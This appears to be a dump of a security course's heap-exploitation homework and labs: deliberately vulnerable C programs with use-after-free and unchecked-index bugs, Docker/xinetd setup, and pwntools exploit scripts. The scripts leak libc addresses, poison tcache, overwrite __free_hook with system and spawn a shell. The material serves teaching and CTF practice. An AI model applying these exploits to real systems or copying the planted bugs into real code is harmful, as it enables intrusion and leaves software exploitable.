Book* books[ MAX_BOOK_NUM ];

ssize_t safe_read(int fd, void *ptr, size_t count)
{
    int nread = 0;
    nread = read(fd, ptr, count);
    if (nread <= 0)
        exit(1);
    return nread;
}

void readstr(char *ptr, unsigned cnt)
{
    int nread = 0;
    nread = safe_read(0, ptr, cnt + 1);
    ptr[nread - 1] = '\0';
}

unsigned long readu64()
{
    char str[0x20] = {0};
    readstr(str, 0x10);
    return strtoul(str, NULL, 10);
}

void show_book(Book *book)
{
    printf("Index:\t%lu\n", book->index);
    printf("Name:\t%s\n", book->name);
    printf("Price:\t%lu\n", book->price);
}

void add_book()
{
    unsigned long idx = 0;
    unsigned long namelen = 0;

    printf("Index: ");
    idx = readu64();
    if (idx >= MAX_BOOK_NUM || books[idx]) {
        puts("Invalid");
        return;
    }
    printf("Length of name: ");
    namelen = readu64();

    if (namelen >= 0x440) {
        puts("Too long");
        return;
    }

    books[idx] = (Book *) malloc(sizeof(Book));
    books[idx]->name = malloc(namelen);
    books[idx]->price = 0;
    books[idx]->index = idx;
    books[idx]->index = namelen;

    printf("Name: ");
    readstr(books[idx]->name, namelen);

    printf("Price: ");
    books[idx]->price = readu64();

    puts("Create book successfully !");
    show_book(books[idx]);
}

void delete_book()
{
    unsigned long idx = 0;
    
    printf("Which book do you want to delete: ");
    idx = readu64();
    if (!books[idx]) {
        puts("Invalid");
        return;
    }

    free(books[idx]->name);
    free(books[idx]);
}

void edit_book()
{
    unsigned long idx = 0;
    
    printf("Which book do you want to edit: ");
    idx = readu64();
    if (!books[idx]) {
        puts("Invalid");
        return;
    }

    printf("Name: ");
    readstr(books[idx]->name, 0x20);

    printf("Price: ");
    books[idx]->price = readu64();

    puts("Edit book successfully !");
    show_book(books[idx]);
}

void list_book()
{
    for (int i = 0; i < MAX_BOOK_NUM; i++) {
        if (books[i]) {
            puts("--------------------");
            show_book(books[i]);
        }
    }
}

void get_name_from_idx()
{
    unsigned long idx = 0;

    printf("Index: ");
    idx = readu64();
    if (books[idx])
        printf("Name: %s\n", books[idx]->name);
    else
        puts("Not found");
}

int main()
{
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);

    unsigned long opt = 0;
    while (1)
    {
        printf("--- happy bookstore ---\n"
                "1. add book\n"
                "2. delete book\n"
                "3. edit book\n"
                "4. list books\n"
                "5. find book\n"
                "6. leave\n"
                "> ");
        
        opt = readu64();
        switch (opt) {
            case 1:
                add_book();
                break;
            case 2:
                delete_book();
                break;
            case 3:
                edit_book();
                break;
            case 4:
                list_book();
                break;
            case 5:
                get_name_from_idx();
                break;
            case 6:
                puts("Goodbye~");
                goto leave;
            default:
                puts("Invalid");
                break;
        }
    }

leave:
    return 0;
}

================================================
FILE: 2021/week2/hw/easyheap/share/flag
================================================
FLAG{test}

================================================
FILE: 2021/week2/hw/easyheap/share/run.sh
================================================
#!/bin/sh

exec 2>/dev/null
timeout 60 /home/easyheap/easyheap

================================================
FILE: 2021/week2/hw/easyheap/xinetd
================================================
service easyheap
{
    disable = no
    type = UNLISTED
    socket_type = stream
    protocol = tcp
    server = /home/easyheap/run.sh
    user = easyheap
    port = 30211
    flags = REUSE
    bind = 0.0.0.0
    wait = no
}

================================================
FILE: 2021/week2/hw/exp/beeftalk.py
================================================
#!/usr/bin/python3

from pwn import *

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

r = process('./beeftalk')

def login(token):
    r.sendlineafter('> ', '1')
    r.sendlineafter('Give me your token: \n> ', token)

def signup(name, desc, job, money, correct):
    r.sendlineafter('> ', '2')
    r.sendafter("What's your name ?\n> ", name)
    r.sendafter("What's your desc ?\n> ", desc)
    r.sendafter("What's your job ?\n> ", job)
    r.sendlineafter("How much money do you have ?\n> ", str(money))
    r.sendlineafter("Is correct ?\n(y/n) > ", correct)
    r.recvuntil('Done! This is your login token: ')
    return r.recvline()[:-1]

def leave():
    r.sendlineafter('> ', '3')

# -------- after login --------
def update(name, desc, job, money):
    r.sendlineafter('> ', '1')
    r.sendafter('Name: \n> ', name)
    r.sendafter('Desc: \n> ', desc)
    r.sendafter('Job: \n> ', job)
    r.sendlineafter('Money: \n> ', str(money))

def delete():
    r.sendlineafter('> ', '3')
    r.sendlineafter('> ', 'y')

def logout():
    r.sendlineafter('> ', '4')

tokens = [None] * 8
for i in range(8):
    tokens[i] = signup(b'\x00'*0xf8, 'A', 'A', 0xdeadbeef, 'y')

for i in range(2):
    login(tokens[i])
    delete()

login(tokens[1])
r.recvuntil('Hello ')
heap = u64(r.recv(6).ljust(8, b'\x00')) - 0x2a0
info(f"heap: {hex(heap)}")
logout()

for i in range(2, 8):
    login(tokens[i])
    delete()

# make 0x50 chunk in sorted bin to small bin
tokens[0] = signup(b'\x00'*0xf8, 'A', 'A', 0xdeadbeef, 'y') # 0
login(tokens[3])
r.recvuntil('Hello ')
libc = u64(r.recv(6).ljust(8, b'\x00')) - 0x1ebc10
_system = libc + 0x55410
__free_hook = libc + 0x1eeb28
info(f"libc: {hex(libc)}")
logout()

login(tokens[2]) # will be desc of token[0]
update(
    p64(0) + p64(0x51) + p64(0) + p64(__free_hook - 8)[:-1],
    b"/bin/sh\x00" + p64(_system),
    'A', 0xdeadbeef
)
delete()

r.interactive()

================================================
FILE: 2021/week2/hw/exp/easyheap.py
================================================
#!/usr/bin/python3

from pwn import *
import sys

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

if len(sys.argv) > 1:
    r = remote('edu-ctf.zoolab.org', 30211)
else:
    r = process('./easyheap')

def add(idx, nlen, name, price):
    r.sendlineafter('> ', '1')
    r.sendlineafter('Index: ', str(idx))
    r.sendlineafter('Length of name: ', str(nlen))
    r.sendlineafter('Name: ', name)
    r.sendlineafter('Price: ', str(price))

def delete(idx):
    r.sendlineafter('> ', '2')
    r.sendlineafter('Which book do you want to delete: ', str(idx))

def edit(idx, name, price):
    r.sendlineafter('> ', '3')
    r.sendlineafter('Which book do you want to edit: ', str(idx))
    r.sendlineafter('Name: ', name)
    r.sendlineafter('Price: ', str(price))

def list_():
    r.sendlineafter('> ', '4')

def find_(idx):
    r.sendlineafter('> ', '5')
    r.sendlineafter('Index: ', str(idx))

add(0, 0x410, 'A', 0)
add(1, 0x10, 'A', 0)
add(2, 0x28, 'A', 0)
delete(0)
list_()
r.recvuntil('Index:\t')
heap = int(r.recvline()[:-1]) - 0x10
info(f"heap: {hex(heap)}")

delete(1)
delete(2)
add(3, 0x10, 'A', 0)
add(4, 0x28, p64(heap+0x2d0) + p64(0x28), 0)
list_()
r.recvuntil('--------------------')
r.recvuntil('--------------------')
r.recvuntil('Name:\t')
libc = u64(r.recv(6).ljust(8, b'\x00')) - 0x1ebbe0
__free_hook = libc + 0x1eeb28
_system = libc + 0x55410
info(f"libc: {hex(libc)}")

edit(4, p64(heap+0x98), 0)
edit(1, p64(__free_hook - 0x10), 0)
add(5, 0x10, '/bin/sh', str(_system))
delete(5)

r.interactive()

================================================
FILE: 2021/week2/hw/exp/final.py
================================================
#!/usr/bin/python3

from pwn import *
import sys

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

if len(sys.argv) != 2:
    print("./demo_final 1 - UAF              --> overwrite func ptr          --> system(\"/bin/sh\")")
    print("./demo_final 2 - hijack name ptr  --> overwrite next chk func ptr --> one gadget")
    print("./demo_final 3 - heap overflow    --> tcache poisoning            --> __free_hook to system --> free(\"/bin/sh\")")
    exit(1)
    
# r = process('./final')
r = remote('edu-ctf.zoolab.org', 30210)

def buy(idx, nlen, name):
    r.sendlineafter('> ', '1')
    r.sendlineafter('cat or dog ?\n> ', 'cat')
    r.sendlineafter("len of name:\n> ", str(nlen))
    r.sendafter('name:\n> ', name)
    r.sendlineafter('where to keep (0 or 1) ?\n> ', str(idx))

def release(idx):
    r.sendlineafter('> ', '2')
    r.sendlineafter('which one to release (0 or 1) ?\n> ', str(idx))

def change(idx, nlen, name, len_change):
    r.sendlineafter('> ', '3')
    r.sendlineafter('which one to change (0 or 1) ?\n> ', str(idx))
    if len_change == True:
        r.sendlineafter('will the len of name change (y/n) ?\n> ', 'y')
        r.sendlineafter("new len of name:\n> ", str(nlen))
    else:
        r.sendlineafter('will the len of name change (y/n) ?\n> ', 'n')
    r.sendafter('new name:\n> ', name)

def play(idx):
    r.sendlineafter('> ', '4')
    r.sendlineafter('which one to play (0 or 1) ?\n> ', str(idx))

# 1. 首先 allocate chunk size 0x420,釋放後再次取得,利用殘留在 chunk 的 unsorted bin 位址來 leak libc
buy(0, 0x410, 'dummy')
buy(1, 0x410, 'dummy') # 由於 freed chunk 相鄰 top chunk 時會觸發 consolidate,因此多放一塊 chk 來避免
release(0)
buy(0, 0x410, 'AAAAAAAA')
play(0)
r.recvuntil('A'*8)
# 從 bk 留下的 unsorted bin address 來 leak
libc = u64(r.recv(6).ljust(8, b'\x00')) - 0x1ebbe0
_system = libc + 0x55410
__free_hook = libc + 0x1eeb28
one_shot = libc + 0xe6c84
binsh = libc + 0x1b75aa
info(f"libc: {hex(libc)}")

# 2. 再利用 UAF 去 leak tcache 的 fd,得到 heap address
buy(0, 0x10, 'dummy')
buy(1, 0x10, 'dummy')
release(0)
release(1)
play(1)
r.recvuntil('MEOW, I am a cute ')
heap = u64(r.recv(6).ljust(8, b'\x00')) - 0xb40
info(f"heap: {hex(heap)}")

if sys.argv[1] == '1':
    # 2. 從 tcache 當中依序取得 animals[1], animals[0],分別 assign 給 animals[1],
    #    以及覆蓋成任意資料 animals[1]->name,而 name 可控,因此可以覆蓋原本的 animals[0]
    #    - type: b'/bin/sh\x00' + b'A'*0x8
    #    - len: 0xdeadbeef
    #    - name: 0xdeadbeef
    #    - bark: system
    buy(1, 0x28, b'/bin/sh\x00' + b'A'*0x8 + p64(0xdeadbeef) + p64(0xdeadbeef) + p64(_system))
    # 3. get shell
    play(0)
elif sys.argv[1] == '2':
    # 2. 同上,不過這次要控 name 與 len,使其可以寫到其他 chunk 內的資料
    #    - type: b'A'*0x10
    #    - len: 0x10000
    #    - name: heap
    #    - bark: 0xdeadbeef
    buy(1, 0x28, b'A'*0x10 + p64(0x10000) + p64(heap + 0xbe0) + p64(0xdeadbeef))
    buy(1, 0x10, 'dummy')
    # 3. 此時 animals[0] 可以寫 0x10000 大小的資料,並且 name 指向 heap+0xbe0,
    #    我們 hijack animals[1] 的 func ptr 成 one gadget 做利用
    #    - type: heap+0x100 (rdi: 指向 NULL 的 pointer)
    #    - len: 0xdeadbeef
    #    - name: heap+0x100 (rsi: 指向 NULL 的 pointer)
    #    - bark: one gadget
    change(0, 0xffffffff, p64(heap+0x100) + p64(0) + p64(0xdeadbeef) + p64(heap+0x100) + p64(one_shot), False)
    # 4. 可惜 one gadget 中沒有我們都無法滿足條件,因此執行完後程式會 crash
    play(1)
elif sys.argv[1] == '3':
    # 2. 同上,目標是要寫任意大小的
    buy(1, 0x28, b'A'*0x10 + p64(0x10000) + p64(heap + 0xbe0) + p64(0xdeadbeef))
    buy(1, 0x10, 'dummy')
    release(1)
    # 3. 蓋寫 animals[0] 的 key 時需注意 release() 也會釋放 name 欄位,因此要塞入一個合法的 chunk 位址
    change(0, 0xffffffff, b'A'*0x10 + p64(0xdeadbeef) + p64(heap + 0xb40), False)
    release(1)
    change(0, 0xffffffff, b'A'*0x10 + p64(0xdeadbeef) + p64(heap + 0xb90), False)
    release(1)
    # 4. 此時我們可以蓋寫 tcache fd 成 __free_hook - 8,而 __free_hook-8 ~ __free_hook 可以放 "/bin/sh\x00"
    change(0, 0xffffffff, p64(__free_hook - 8), False)
    # 當我們請求 0x28 大小的 chunk,會取得 __free_hook 的位址,寫入 system
    buy(1, 0x28, b'/bin/sh\x00' + p64(_system))
    # 5. get shell
    release(1)
else:
    print("NO :(")
    r.close()
    exit(1)

r.interactive()

================================================
FILE: 2021/week2/hw/final/Dockerfile
================================================
FROM ubuntu:20.04
MAINTAINER u1f383

RUN apt-get update && \
    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd

RUN useradd -m final
RUN chown -R root:root /home/final
RUN chmod -R 755 /home/final

CMD ["/usr/sbin/xinetd", "-dontfork"]

================================================
FILE: 2021/week2/hw/final/docker-compose.yml
================================================
version: '3'

services:
  final:
    build: ./
    volumes:
      - ./share:/home/final:ro
      - ./xinetd:/etc/xinetd.d/final:ro
    ports:
      - "30210:30210"
    expose:
      - "30210"

================================================
FILE: 2021/week2/hw/final/share/Makefile
================================================
all:
	gcc -g -o final final.c

================================================
FILE: 2021/week2/hw/final/share/final.c
================================================
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>

// ***************** we don't care *****************
ssize_t safe_read(int fd, void *ptr, size_t count)
{
    int nread = 0;
    nread = read(fd, ptr, count);
    if (nread <= 0)
        exit(1);
    return nread;
}

void readstr(char *ptr, unsigned cnt)
{
    int nread = 0;
    nread = safe_read(0, ptr, cnt + 1);
    ptr[nread - 1] = '\0';
}

unsigned long readu64()
{
    char str[0x20] = {0};
    readstr(str, 0x10);
    return strtoul(str, NULL, 10);
}
// *************************************************

typedef struct _Animal {
    char type[0x10];
    unsigned long len;
    char *name;
    void (*bark)(char *, char *);
} Animal;

Animal *animals[2];

void meow(char* type, char *name) { printf("MEOW, I am a cute %s, my name is %s !!\n", type, name); }
void woof(char* type, char *name) { printf("WOOF, I am a cute %s, my name is %s !!\n", type, name); }

void buy()
{
    Animal *ani = malloc(sizeof(Animal));
    char tmp[0x10];
    unsigned long idx = 0;

    printf("cat or dog ?\n> ");
    readstr(tmp, 0x8);

    if (!strncmp(tmp, "cat", 3)) {
        strcpy(ani->type, "Persian");
        ani->bark = meow;
    } else {
        strcpy(ani->type, "Shiba");
        ani->bark = woof;
    }
    
    // 由於名字的長度是可以控的,如果我們請求 chunk size >= 0x420,則此 chunk 在後續釋放時
    // 會進入 unsorted bin,再次取得時 fd 與 bk 的位址會有 libc address
    printf("len of name:\n> ");
    ani->len = readu64();

    ani->name = malloc(ani->len);
    printf("name:\n> ");
    // 因為 read 可以不以 \x00 結尾,因此如果此時在 heap 上殘留記憶體位址,則可以 leak 出來
    read(0, ani->name, ani->len);

    printf("where to keep (0 or 1) ?\n> ");
    idx = readu64();

    if (idx == 1)
        animals[1] = ani;
    else
        animals[0] = ani;
    
    ani->bark( ani->type, ani->name );
    puts("you get an animal !");
}

void release()
{
    unsigned long idx = 0;
    printf("which one to release (0 or 1) ?\n> ");
    idx = readu64();
    if (idx != 0 && idx != 1) return;
    
    // 在釋放完後並沒有將 ptr 清成 NULL,可以做 double free
    if (animals[idx]) {
        free(animals[idx]->name);
        free(animals[idx]);
    }
}

void change()
{
    unsigned long idx = 0;
    char buf[0x10] = {0};
    printf("which one to change (0 or 1) ?\n> ");
    idx = readu64();
    if (idx != 0 && idx != 1) return;

    printf("will the len of name change (y/n) ?\n> ");
    readstr(buf, 0x8);
    if (buf[0] == 'y') {
        printf("new len of name:\n> ");
        free(animals[idx]->name);
        animals[idx]->len = readu64();
        animals[idx]->name = malloc(animals[idx]->len);
    }

    // 配合 release() 可以控制到 freed chunk,有 UAF 問題
    printf("new name:\n> ");
    read(0, animals[idx]->name, animals[idx]->len);
}

void play()
{
    unsigned long idx = 0;
    printf("which one to play (0 or 1) ?\n> ");
    idx = readu64();
    if (idx != 0 && idx != 1) return;

    // 由於使用 function pointer,因此若可以透過程式漏洞蓋寫 function pointer,
    // 則可以輕易控制程式執行流程
    animals[idx]->bark( animals[idx]->type, animals[idx]->name );
}

int main()
{
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);

    while (1)
    {
        puts("1. buy an animal");
        puts("2. release animal");
        puts("3. change animal");
        puts("4. play with animal");
        printf("> ");
        switch ( readu64() ) {
            case 1:
                buy();
                continue;
            case 2:
                release();
                continue;
            case 3:
                change();
                continue;
            case 4:
                play();
                continue;
        }
        break;
    }

    return 0;
}

================================================
FILE: 2021/week2/hw/final/share/final.py
================================================
#!/usr/bin/python3

from pwn import *
import sys

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

if len(sys.argv) != 2:
    print("./demo_final 1 - UAF              --> overwrite func ptr          --> system(\"/bin/sh\")")
    print("./demo_final 2 - hijack name ptr  --> overwrite next chk func ptr --> one gadget")
    print("./demo_final 3 - heap overflow    --> tcache poisoning            --> __free_hook to system --> free(\"/bin/sh\")")
    exit(1)
    
# r = process('./final')
r = remote('edu-ctf.zoolab.org', 30210)

def buy(idx, nlen, name):
    r.sendlineafter('> ', '1')
    r.sendlineafter('cat or dog ?\n> ', 'cat')
    r.sendlineafter("len of name:\n> ", str(nlen))
    r.sendafter('name:\n> ', name)
    r.sendlineafter('where to keep (0 or 1) ?\n> ', str(idx))

def release(idx):
    r.sendlineafter('> ', '2')
    r.sendlineafter('which one to release (0 or 1) ?\n> ', str(idx))

def change(idx, nlen, name, len_change):
    r.sendlineafter('> ', '3')
    r.sendlineafter('which one to change (0 or 1) ?\n> ', str(idx))
    if len_change == True:
        r.sendlineafter('will the len of name change (y/n) ?\n> ', 'y')
        r.sendlineafter("new len of name:\n> ", str(nlen))
    else:
        r.sendlineafter('will the len of name change (y/n) ?\n> ', 'n')
    r.sendafter('new name:\n> ', name)

def play(idx):
    r.sendlineafter('> ', '4')
    r.sendlineafter('which one to play (0 or 1) ?\n> ', str(idx))

# 1. 首先 allocate chunk size 0x420,釋放後再次取得,利用殘留在 chunk 的 unsorted bin 位址來 leak libc
buy(0, 0x410, 'dummy')
buy(1, 0x410, 'dummy') # 由於 freed chunk 相鄰 top chunk 時會觸發 consolidate,因此多放一塊 chk 來避免
release(0)
buy(0, 0x410, 'AAAAAAAA')
play(0)
r.recvuntil('A'*8)
# 從 bk 留下的 unsorted bin address 來 leak
libc = u64(r.recv(6).ljust(8, b'\x00')) - 0x1ebbe0
_system = libc + 0x55410
__free_hook = libc + 0x1eeb28
one_shot = libc + 0xe6c84
binsh = libc + 0x1b75aa
info(f"libc: {hex(libc)}")

# 2. 再利用 UAF 去 leak tcache 的 fd,得到 heap address
buy(0, 0x10, 'dummy')
buy(1, 0x10, 'dummy')
release(0)
release(1)
play(1)
r.recvuntil('MEOW, I am a cute ')
heap = u64(r.recv(6).ljust(8, b'\x00')) - 0xb40
info(f"heap: {hex(heap)}")

if sys.argv[1] == '1':
    # 2. 從 tcache 當中依序取得 animals[1], animals[0],分別 assign 給 animals[1],
    #    以及覆蓋成任意資料 animals[1]->name,而 name 可控,因此可以覆蓋原本的 animals[0]
    #    - type: b'/bin/sh\x00' + b'A'*0x8
    #    - len: 0xdeadbeef
    #    - name: 0xdeadbeef
    #    - bark: system
    buy(1, 0x28, b'/bin/sh\x00' + b'A'*0x8 + p64(0xdeadbeef) + p64(0xdeadbeef) + p64(_system))
    # 3. get shell
    play(0)
elif sys.argv[1] == '2':
    # 2. 同上,不過這次要控 name 與 len,使其可以寫到其他 chunk 內的資料
    #    - type: b'A'*0x10
    #    - len: 0x10000
    #    - name: heap
    #    - bark: 0xdeadbeef
    buy(1, 0x28, b'A'*0x10 + p64(0x10000) + p64(heap + 0xbe0) + p64(0xdeadbeef))
    buy(1, 0x10, 'dummy')
    # 3. 此時 animals[0] 可以寫 0x10000 大小的資料,並且 name 指向 heap+0xbe0,
    #    我們 hijack animals[1] 的 func ptr 成 one gadget 做利用
    #    - type: heap+0x100 (rdi: 指向 NULL 的 pointer)
    #    - len: 0xdeadbeef
    #    - name: heap+0x100 (rsi: 指向 NULL 的 pointer)
    #    - bark: one gadget
    change(0, 0xffffffff, p64(heap+0x100) + p64(0) + p64(0xdeadbeef) + p64(heap+0x100) + p64(one_shot), False)
    # 4. 可惜 one gadget 中沒有我們都無法滿足條件,因此執行完後程式會 crash
    play(1)
elif sys.argv[1] == '3':
    # 2. 同上,目標是要寫任意大小的
    buy(1, 0x28, b'A'*0x10 + p64(0x10000) + p64(heap + 0xbe0) + p64(0xdeadbeef))
    buy(1, 0x10, 'dummy')
    release(1)
    # 3. 蓋寫 animals[0] 的 key 時需注意 release() 也會釋放 name 欄位,因此要塞入一個合法的 chunk 位址
    change(0, 0xffffffff, b'A'*0x10 + p64(0xdeadbeef) + p64(heap + 0xb40), False)
    release(1)
    change(0, 0xffffffff, b'A'*0x10 + p64(0xdeadbeef) + p64(heap + 0xb90), False)
    release(1)
    # 4. 此時我們可以蓋寫 tcache fd 成 __free_hook - 8,而 __free_hook-8 ~ __free_hook 可以放 "/bin/sh\x00"
    change(0, 0xffffffff, p64(__free_hook - 8), False)
    # 當我們請求 0x28 大小的 chunk,會取得 __free_hook 的位址,寫入 system
    buy(1, 0x28, b'/bin/sh\x00' + p64(_system))
    # 5. get shell
    release(1)
else:
    print("NO :(")
    r.close()
    exit(1)

r.interactive()

================================================
FILE: 2021/week2/hw/final/share/flag
================================================
FLAG{test}

================================================
FILE: 2021/week2/hw/final/share/run.sh
================================================
#!/bin/sh

exec 2>/dev/null
timeout 60 /home/final/final


================================================
FILE: 2021/week2/hw/final/xinetd
================================================
service final
{
    disable = no
    type = UNLISTED
    socket_type = stream
    protocol = tcp
    server = /home/final/run.sh
    user = final
    port = 30210
    flags = REUSE
    bind = 0.0.0.0
    wait = no
}

================================================
FILE: 2021/week2/lab/exp/market.py
================================================
#!/usr/bin/python3

from pwn import *

r = process('./market')

context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

r.sendlineafter('need', 'n')
r.sendlineafter('name', 'A')
r.sendlineafter('long', str(0x280))
r.sendafter('secret', b'A'*0x80 + b'\xb0')
gdb.attach(r)

r.sendlineafter("> ", "4")
r.sendlineafter('name', 'A')
r.sendlineafter('long', str(0x10))
r.sendafter('secret', b'A'*0x10)

r.interactive()


================================================
FILE: 2021/week2/lab/heapmath/Dockerfile
================================================
FROM ubuntu:20.04
MAINTAINER u1f383

RUN apt-get update && \
    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd

RUN useradd -m heapmath
RUN chown -R root:root /home/heapmath
RUN chmod -R 755 /home/heapmath

CMD ["/usr/sbin/xinetd", "-dontfork"]

================================================
FILE: 2021/week2/lab/heapmath/docker-compose.yml
================================================
version: '3'

services:
  heapmath:
    build: ./
    volumes:
      - ./share:/home/heapmath:ro
      - ./xinetd:/etc/xinetd.d/heapmath:ro
    ports:
      - "30208:30208"
    expose:
      - "30208"

================================================
FILE: 2021/week2/lab/heapmath/share/Makefile
================================================
all:
	gcc -g -o heapmath heapmath.c

================================================
FILE: 2021/week2/lab/heapmath/share/flag
================================================
FLAG{test}

================================================
FILE: 2021/week2/lab/heapmath/share/heapmath.c
================================================
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>

int main()
{
    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);
    srand(time(NULL));

    void *tcache_chk[7]                = {0};
    unsigned char tcachebin[3][7]      = {0}; // 0x20, 0x30, 0x40
    unsigned int tcachebin_counts[4]   = {0};
    unsigned long tcache_size[7]       = {0};
    unsigned long tcache_free_order[7] = {0};

    puts("----------- ** tcache chall ** -----------");
    unsigned long tmp = 0;
    for (int i = 0; i < 7; i++) {
        tmp = (rand() % 0x21) + 0x10; // 0x10 ~ 0x30
        tcache_size[i] = tmp;
    }

    for (int i = 0; i < 7; i++) {
    repeat:
        tmp = rand() % 7;
        for (int j = 0; j < i; j++)
            if (tmp == tcache_free_order[j]) goto repeat;
        tcache_free_order[i] = tmp;
    }

    for (int i = 0; i < 7; i++) {
        tcache_chk[i] = malloc( tcache_size[i] );
        printf("char *%c = (char *) malloc(0x%lx);\n", 'A' + i, tcache_size[i]);
    }

    for (int i = 0; i < 7; i++) {
        int idx = tcache_free_order[i];
        free(tcache_chk[ idx ]);
        printf("free(%c);\n", 'A' + (unsigned char) idx);

        tmp = tcache_size[ idx ] - 0x8;
        if (tmp % 0x10)
            tmp = (tmp & ~0xf) + 0x20;
        else
            tmp += 0x10;

        unsigned int binidx = ((tmp - 0x20) / 0x10);
        unsigned int bincnt = tcachebin_counts[ binidx ];
        tcachebin[ binidx ][ bincnt ] = 'A' + (unsigned char) idx;
        tcachebin_counts[ binidx ]++;
    }

    char tmpbuf[0x100]   = {0};
    char ansbuf[3][0x100] = {0};
    for (int i = 0; i < 3; i++) {
        for (int j = 6; j >= 0; j--)
            if (tcachebin[i][j]) {
                sprintf(tmpbuf, "%c --> ", tcachebin[i][j]);
                strcat(ansbuf[i], tmpbuf);
            }
        strcat(ansbuf[i], "NULL");
    }
    puts("");
    for (int i = 0; i < 3; i++) {
        printf("[chunk size] 0x%x: ", (i+2) * 0x10);
        if (i == 0) {
            printf("%s\t(just send \"%s\")\n", ansbuf[i], ansbuf[i]);
        } else {
            printf("?\n> ");
            fgets(tmpbuf, 0x100, stdin);
            if (!strncmp(tmpbuf, ansbuf[i], strlen(ansbuf[i]))) {
                puts("Correct !");
            } else {
                puts("Wrong !");
                printf("Ans: \"%s\"\n", ansbuf[i]);
                exit(0);
            }
        }
    }

    puts("\n----------- ** address chall ** -----------");
    int cmp1 = 0;
    int cmp2 = 0;
    unsigned long ans_addr = 0;

    cmp1 = rand() % 7;
    while ((cmp2 = rand() % 7) == cmp1);
    if (cmp1 > cmp2) {
        tmp = cmp1;
        cmp1 = cmp2;
        cmp2 = tmp;
    }

    printf("assert( %c == %p );\n", 'A' + cmp1, tcache_chk[ cmp1 ]);
    printf("%c == ?\t(send as hex format, e.g. \"%p\")\n> ",
                'A' + cmp2, tcache_chk[ cmp1 ]);
    scanf("%s", tmpbuf);
    ans_addr = strtoul(tmpbuf, NULL, 16);

    if (ans_addr == (unsigned long) tcache_chk[ cmp2 ]) {
        puts("Correct !");
    } else {
        puts("Wrong !");
        printf("Ans: %p\n", tcache_chk[ cmp2 ]);
        exit(0);
    }

    puts("\n----------- ** index chall ** -----------");
    unsigned long *fastbin[2] = {0};
    unsigned long fastbin_size = 0;
    unsigned long secret_idx = 0, result_idx = 0, res = 0;

    fastbin_size = (rand() % 0x31) + 0x40; // 0x40 ~ 0x70
    fastbin_size &= ~0xf;
    fastbin[0] = (unsigned long *) malloc( fastbin_size );
    fastbin[1] = (unsigned long *) malloc( fastbin_size );
    
    printf("unsigned long *%c = (unsigned long *) malloc(0x%lx);\n", 'X', fastbin_size);
    printf("unsigned long *%c = (unsigned long *) malloc(0x%lx);\n", 'Y', fastbin_size);

    secret_idx = rand() % (fastbin_size / 8);
    fastbin[1][ secret_idx ] = 0xdeadbeef;
    result_idx = ((unsigned long)(&fastbin[1][ secret_idx ]) - (unsigned long)(&fastbin[0][0])) / 8;
    
    printf("Y[%lu] = 0xdeadbeef;\n", secret_idx);
    printf("X[?] == 0xdeadbeef\t(just send an integer, e.g. \"8\")\n> ");
    scanf("%lu", &res);

    if (fastbin[0][res] == 0xdeadbeef) {
        puts("Correct !");
    } else {
        puts("Wrong !");
        printf("Ans: %lu\n", result_idx);
        exit(0);
    }

    puts("\n----------- ** tcache fd chall ** -----------");
    free(fastbin[0]);
    free(fastbin[1]);
    printf("free(X);\nfree(Y);\nassert( Y == %p );\n", fastbin[1]);
    printf("fd of Y == ?\t(send as hex format, e.g. \"%p\")\n> ", fastbin[1]);
    scanf("%s", tmpbuf);
    ans_addr = strtoul(tmpbuf, NULL, 16);

    if (ans_addr == *fastbin[1]) {
        puts("Correct !");
    } else {
        puts("Wrong !");
        printf("Ans: 0x%lx\n", *fastbin[1]);
        exit(0);
    }

    puts("\n----------- ** fastbin fd chall (final) ** -----------");
    puts("[*] Restore the chunk to X and Y");
    printf("%c = (unsigned long *) malloc(0x%lx);\n", 'Y', fastbin_size);
    printf("%c = (unsigned long *) malloc(0x%lx);\n", 'X', fastbin_size);
    fastbin[1] = malloc(fastbin_size);
    fastbin[0] = malloc(fastbin_size);
    printf("[*] Do something to fill up 0x%lx tcache\n...\n[*] finish\n", fastbin_size + 0x10);
    void *tmpchk[7];
    for (int i = 0; i < 7; i++)
        tmpchk[i] = malloc(fastbin_size);
    for (int i = 0; i < 7; i++)
        free(tmpchk[i]);
    printf("free(X);\nfree(Y);\nassert( Y == %p );\n", fastbin[1]);
    free(fastbin[0]);
    free(fastbin[1]);
    printf("fd of Y == ?\t(send as hex format, e.g. \"%p\")\n> ", fastbin[1]);
    scanf("%s", tmpbuf);
    ans_addr = strtoul(tmpbuf, NULL, 16);

    if (ans_addr == *fastbin[1]) {
        puts("Correct !");
        memset(tmpbuf, 0, 0x31);
        
        int fd = open("/home/heapmath/flag", O_RDONLY);
        read(fd, tmpbuf, 0x30);
        close(fd);
        printf("Here is your flag: %s\n", tmpbuf);
    } else {
        puts("Wrong !");
        printf("Ans: 0x%lx\n", *fastbin[1]);
        exit(0);
    }
}

================================================
FILE: 2021/week2/lab/heapmath/share/run.sh
================================================
#!/bin/sh

exec 2>/dev/null
timeout 1800 /home/heapmath/heapmath


================================================
FILE: 2021/week2/lab/heapmath/xinetd
================================================
service heapmath
{
    disable = no
    type = UNLISTED
    socket_type = stream
    protocol = tcp
    server = /home/heapmath/run.sh
    user = heapmath
    port = 30208
    flags = REUSE
    bind = 0.0.0.0
    wait = no
}

================================================
FILE: 2021/week2/lab/market/Dockerfile
================================================
FROM ubuntu:20.04
MAINTAINER u1f383

RUN apt-get update && \
    DEBAIN_FRONTEND=noninteractive apt-get install -qy xinetd

RUN useradd -m market
RUN chown -R root:root /home/market
RUN chmod -R 755 /home/market

CMD ["/usr/sbin/xinetd", "-dontfork"]

================================================
FILE: 2021/week2/lab/market/docker-compose.yml
================================================
version: '3'

services:
  market:
    build: ./
    volumes:
      - ./share:/home/market:ro
      - ./xinetd:/etc/xinetd.d/market:ro
    ports:
      - "30209:30209"
    expose:
      - "30209"

